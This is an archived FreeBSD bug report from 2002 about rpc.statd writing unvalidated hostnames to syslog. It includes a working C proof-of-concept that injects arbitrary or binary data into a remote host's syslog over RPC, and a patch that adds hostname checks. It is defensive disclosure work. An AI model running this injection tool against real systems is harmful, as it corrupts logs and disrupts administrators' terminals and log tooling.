Skip site navigation (1)Skip section navigation (2)
Date:      25 Jun 2002 02:23:18 -0000
From:      "C.S.Peron" <maneo@bsdpro.com>
To:        FreeBSD-gnats-submit@FreeBSD.org
Cc:        cperon@seccuris.com
Subject:   bin/39815: rpc.statd bug
Message-ID:  <20020625022318.33486.qmail@staff.seccuris.com>

next in thread | raw e-mail | index | archive | help

>Number:         39815
>Category:       bin
>Synopsis:       rpc.statd bug
>Confidential:   no
>Severity:       non-critical
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          doc-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Jun 24 19:10:01 PDT 2002
>Closed-Date:
>Last-Modified:
>Originator:     C.S. Peron
>Release:        FreeBSD 4.6-STABLE i386
>Organization:
seccruis inc
>Environment:
System:		FreeBSD icmp.dhs.org 4.6-STABLE FreeBSD 4.6-STABLE #15: Tue Jun 18 18:55:01 CDT 2002 modulus@icmp.dhs.org:/usr/src/sys/compile/opcode  i386

>Description:

	The sm_stat_1_svc() does not check to see if the supplied hostname
was a valid hostname. Remote users can supply binary or other non ascii
control code as in their RPC query. These control codes can cause external
syslog parser to exit prematurely or and mess up terminals when syslog
files are viewed.

	As the supplied argument to clnt_call(SM_MON) from the client
should be a hostname, there is no reason why binary characters should
appear in the request. Unless the request is tampered with or malicious
in nature.

	So when rpc.statd does get a hostname that it can not 
resolve, it logs it to syslog. Even if the hostname contains
invaid binary characters.
	
>How-To-Repeat:

	I have written a program that will allow you to scribble
either text or binary data to a remote system's syslog.

--------------<< snip snip snip

/*
 * This program was written by C.S. Peron at seccuris labs
 * (cperon@seccuris.com) or (maneo@bsdpro.com)
 * to test the RPC.statd bug.
 *
 * usage: color [-r] [-h hostname] [-m message]
 *
 * -r   - write random binary data to the remote host's syslog files
 * -m   - supply `message' to send to remote host's syslog files
 * -h   - specify remote host to connect to. Default is localhost
 *
 * This program was written for FreeBSD.
 *
 * To compile:
 * cc -o color color.c -lrpcsvc
 *
 */

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>


static struct timeval TIMEOUT = {
        10,
        0
};

int
usage(basename)
        char *basename;
{
        fprintf(stderr,"usage: %s [-r] [-h hostname] [-m message]\n", basename);
        exit(1);
}

struct sm_stat_res *
sm_mon_1(argp, clnt)
        struct mon *argp;
        CLIENT *clnt;
{
        static struct sm_stat_res res;

        bzero((char *)&res, sizeof(res));
        if (clnt_call(clnt, SM_MON, xdr_mon, argp, xdr_sm_stat_res, &res, TIMEOUT) != RPC_SUCCESS) {
                return (NULL);
        }
        return (&res);
}

#define RANDOM 0x1
char *hflag = NULL;
char *mflag = NULL;

int
main(int argc, char *argv[])
{
        unsigned opts = 0;
        CLIENT *cli;
        struct mon mon;
        struct sm_stat_res *res;
        int ch, cc;
        unsigned int seed;
        FILE *fp;
        char *prog;

        fp = stdin;
        prog = argv[0];
        if (*prog == '.' && *(prog + 1) == '/')
                prog += 2;

        while ((ch = getopt(argc, argv, "rh:m:")) != -1)
        switch (ch) {
        case 'r':
                opts |= RANDOM;
                break;
        case 'h':
                hflag = optarg;
                break;
        case 'm':
                mflag = optarg;
                break;
        default:
                usage(prog);
        }

        if (mflag && (opts & RANDOM)) {
                fprintf(stderr,"error: -m and -r flags are not compatible.\n");
                exit(1);
        }

        if (!mflag && !(opts & RANDOM)) {
                fprintf(stderr,"error: -m OR -r flag required.\n");
                exit(1);
        }

        if (argc < 2) {
                fprintf(stderr,"usage: %s [-r] [-h host] [-m message] \n", prog);
                exit(1);
        }

        cli = clnt_create(hflag ? hflag : "localhost", SM_PROG, SM_VERS, "udp");
        if (!cli) {
                fprintf(stderr, "fatal: Failed to create client\n");
                exit(1);
        }

        if (opts & RANDOM) {
                if ((mflag = malloc(1000)) == 0) {
                        fprintf(stderr, "fatal: exhausted memory.\n");
                        exit(1);
                }
                for (cc = 0; cc < 1000; cc++) {
                        /* permute S-Boxes */
                        arc4random_stir();
                        /*
                         * Fill buffer with NON-ascii random junk
                         */
                        mflag[cc] = (arc4random() % (10000  - 128 + 1) + 128);
                }
        }
        mon.mon_id.mon_name = mflag;
        mon.mon_id.my_id.my_name = mflag;
        mon.mon_id.my_id.my_prog = SM_PROG;
        mon.mon_id.my_id.my_vers = SM_VERS;
        mon.mon_id.my_id.my_proc = 1;

        if (res = sm_mon_1(&mon, cli))
                printf("diagnostic: delivered data to host\n");
        else
                printf("Failed to deliver data\n");

        if (opts & RANDOM)
                free(mflag);

        return 0;
}

>Fix:

I have enclosed the fix:

>Release-Note:
>Audit-Trail:
>Unformatted:
 >>--------- snip snip snip
 
 Only in /usr/bugfixes/rpc.statd: exp
 diff -u /usr/src/usr.sbin/rpc.statd/procs.c /usr/bugfixes/rpc.statd/procs.c
 --- /usr/src/usr.sbin/rpc.statd/procs.c Fri Aug 27 20:19:37 1999
 +++ /usr/bugfixes/rpc.statd/procs.c     Tue May  7 19:15:39 2002
 @@ -47,7 +47,38 @@
 
  #include "statd.h"
 
 -/* sm_stat_1 --------------------------------------------------------------- */
 +/* sm_check_hostname -------------------------------------------------------- */
 +/*
 + * Purpose: Check `mon_name' member of sm_name struct to ensure that the array
 + * consists only of printable characters.
 + *
 + * Returns: TRUE if hostname is good. FALSE if hostname contains binary or
 + * otherwise non-printable characters.
 + */
 +
 +int sm_check_hostname(char *arg)
 +{
 +  char *hostname;
 +  unsigned char c;
 +
 +  hostname = arg;
 +
 +  if (!isalpha(*hostname))
 +    return 0;
 +
 +  while (*hostname)
 +  {
 +    c = *hostname++;
 +
 +    if (isdigit(c) || isalpha(c) || (c == '.') || (c == '-'))
 +      continue;
 +
 +    return 0;
 +  }
 +  return 1;
 +}
 +
 +/*  sm_stat_1 --------------------------------------------------------------- */
  /*
     Purpose:    RPC call to enquire if a host can be monitored
     Returns:    TRUE for any hostname that can be looked up to give
 @@ -57,16 +88,25 @@
  struct sm_stat_res *sm_stat_1_svc(sm_name *arg, struct svc_req *req)
  {
    static sm_stat_res res;
 +  static int err;
 
 -  if (debug) syslog(LOG_DEBUG, "stat called for host %s", arg->mon_name);
 -
 -  if (gethostbyname(arg->mon_name)) res.res_stat = stat_succ;
 -  else
 -  {
 -    syslog(LOG_ERR, "invalid hostname to sm_stat: %s", arg->mon_name);
 +  err = 1;
 +  if ((err = sm_check_hostname(arg->mon_name)) == 0)
 +  {
 +    syslog(LOG_ERR, "sm_stat: hostname contained invalid characters.");
      res.res_stat = stat_fail;
    }
 -
 +  if (err != 0)
 +       {
 +    if (debug) syslog(LOG_DEBUG, "stat called for host %s", arg->mon_name);
 +
 +    if (gethostbyname(arg->mon_name)) res.res_stat = stat_succ;
 +    else
 +               {
 +      syslog(LOG_ERR, "invalid hostname to sm_stat: %s", arg->mon_name);
 +      res.res_stat = stat_fail;
 +    }
 +  }
    res.state = status_info->ourState;
    return (&res);
  }
 @@ -83,50 +123,58 @@
  struct sm_stat_res *sm_mon_1_svc(mon *arg, struct svc_req *req)
  {
    static sm_stat_res res;
 +  static int err;
    HostInfo *hp;
    MonList *lp;
 
 -  if (debug)
 +  if ((err = sm_check_hostname(arg->mon_id.mon_name)) == 0)
 +  {
 +    syslog(LOG_ERR, "sm_stat: hostname contained invalid characters.");
 +    res.res_stat = stat_fail;
 +  }
 +
 +  if (err != 0)
    {
 -    syslog(LOG_DEBUG, "monitor request for host %s", arg->mon_id.mon_name);
 -    syslog(LOG_DEBUG, "recall host: %s prog: %d ver: %d proc: %d",
 +    if (debug)
 +    {
 +      syslog(LOG_DEBUG, "monitor request for host %s", arg->mon_id.mon_name);
 +      syslog(LOG_DEBUG, "recall host: %s prog: %d ver: %d proc: %d",
        arg->mon_id.mon_name, arg->mon_id.my_id.my_name,
        arg->mon_id.my_id.my_prog, arg->mon_id.my_id.my_vers,
        arg->mon_id.my_id.my_proc);
 -  }
 -
 -  res.res_stat = stat_fail;    /* Assume fail until set otherwise      */
 -  res.state = status_info->ourState;
 +    }
 +    res.res_stat = stat_fail;  /* Assume fail until set otherwise      */
 +    res.state = status_info->ourState;
 
 -  /* Find existing host entry, or create one if not found              */
 -  /* If find_host() fails, it will have logged the error already.      */
 -  if (!gethostbyname(arg->mon_id.mon_name))
 -  {
 -    syslog(LOG_ERR, "Invalid hostname to sm_mon: %s", arg->mon_id.mon_name);
 -  }
 -  else if ((hp = find_host(arg->mon_id.mon_name, TRUE)))
 -  {
 -    lp = (MonList *)malloc(sizeof(MonList));
 -    if (!lp)
 +    /* Find existing host entry, or create one if not found            */
 +    /* If find_host() fails, it will have logged the error already.    */
 +    if (!gethostbyname(arg->mon_id.mon_name))
      {
 -      syslog(LOG_ERR, "Out of memory");
 +      syslog(LOG_ERR, "Invalid hostname to sm_mon: %s", arg->mon_id.mon_name);
      }
 -    else
 +    else if ((hp = find_host(arg->mon_id.mon_name, TRUE)))
      {
 -      strncpy(lp->notifyHost, arg->mon_id.my_id.my_name, SM_MAXSTRLEN);
 -      lp->notifyProg = arg->mon_id.my_id.my_prog;
 -      lp->notifyVers = arg->mon_id.my_id.my_vers;
 -      lp->notifyProc = arg->mon_id.my_id.my_proc;
 -      memcpy(lp->notifyData, arg->priv, sizeof(lp->notifyData));
 -
 -      lp->next = hp->monList;
 -      hp->monList = lp;
 -      sync_file();
 -
 -      res.res_stat = stat_succ;        /* Report success                       */
 +      lp = (MonList *)malloc(sizeof(MonList));
 +      if (!lp)
 +      {
 +        syslog(LOG_ERR, "Out of memory");
 +      }
 +      else
 +      {
 +        strncpy(lp->notifyHost, arg->mon_id.my_id.my_name, SM_MAXSTRLEN);
 +        lp->notifyProg = arg->mon_id.my_id.my_prog;
 +        lp->notifyVers = arg->mon_id.my_id.my_vers;
 +        lp->notifyProc = arg->mon_id.my_id.my_proc;
 +        memcpy(lp->notifyData, arg->priv, sizeof(lp->notifyData));
 +
 +        lp->next = hp->monList;
 +        hp->monList = lp;
 +        sync_file();
 +
 +        res.res_stat = stat_succ;      /* Report success                       */
 +      }
      }
    }
 -
    return (&res);
  }
 
 Only in /usr/bugfixes/rpc.statd: rpc_statd.patch
 diff -u /usr/src/usr.sbin/rpc.statd/statd.h /usr/bugfixes/rpc.statd/statd.h
 --- /usr/src/usr.sbin/rpc.statd/statd.h Sun Mar 31 23:36:06 1996
 +++ /usr/bugfixes/rpc.statd/statd.h     Tue May  7 19:12:35 2002
 @@ -121,3 +121,4 @@
  extern void init_file(char * /*filename*/);
  extern void notify_hosts(void);
  extern void sync_file(void);
 +extern int sm_check_hostname(char * /* arg */);
 
 

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-bugs" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20020625022318.33486.qmail>